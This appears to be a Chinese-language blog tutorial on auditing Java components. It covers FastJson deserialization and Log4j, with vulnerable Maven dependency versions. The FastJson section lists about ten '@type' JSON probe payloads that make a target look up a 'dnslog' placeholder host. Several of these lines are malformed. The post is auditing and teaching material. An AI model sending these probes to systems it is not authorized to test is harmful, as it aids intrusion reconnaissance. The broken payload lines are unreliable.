Java代码审计之组件审计

FastJson:

FastJson是阿里巴巴开发的JAva语言编写的高性能JSON库,用于将数据在JSON和Java相互转换两个主要的接口是JSON.toJSONString和JSON.parseObject/JSON.parse,分别实现序列化和反序列化操作。

反序列化简述:

Fastjson反序列化漏洞简单来说是出现在将JSON数据反序列化过程中出现的漏洞。

攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行

寻找漏洞点:

已确实Fastjson版本存在问题,进一步寻找触发Fastjson的漏洞点。我们关注两个函数

JSON.parse() 和 JSON.parseObject() 全局搜索两个关键字或者JSONObject.parseObject() ,发现本项目在JSON.parseObject()

1
2
3
4
5
6
<!-- Json -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.58</version>
</dependency>

进行利用:

1
2
3
4
5
6
7
8
9
10
11
{"@type":"java.net.Inet4Address","val":"DNSLOG.cn"}
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL",
"val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

Log4j:

Log4j是apache的一个开源日志记录工具,最初于 1999 年发布,是 Java 生态中最常用的日志框架之一。它提供了灵活的日志记录机制,允许开发者在应用程序中控制日志的生成、级别、输出格式及目的地(如控制台、文件、数据库等),帮助追踪程序运行状态、排查错误和分析性能。

该组件漏洞主要发生在引入的 log4j-core ,只引入了 log4j-api 是不存在该问题的,log4j-core是源码,log4j-api是接口。pom.xml 文件引入log4j组件情况如下所示,引入了log4j-core,以及版本为 2.10.0 基本确定存在问题,验证还需要进一步寻找触发的漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
  <!-- log4j2 -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.10.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.10.0</version>
</dependency>
</dependencies>

寻找漏洞点:

搜索关键字logger,logger.info 和 logger.error(一般以 这个为调试)

logger.info 一般用于记录程序运行的一般信息,如进程启动、操作成功等;logger.error 则用于记录错误和异常信息,如未处理的异常、数据库连接失败等,以便进行问题排查和处理。info 打印正常状态信息,warn 表示轻微不合理但不影响运行,error 表示系统错误和异常。


Java代码审计之组件审计
http://example.com/2025/06/11/Java代码审计之组件审计/
作者
XCDH
发布于
2025年6月11日
许可协议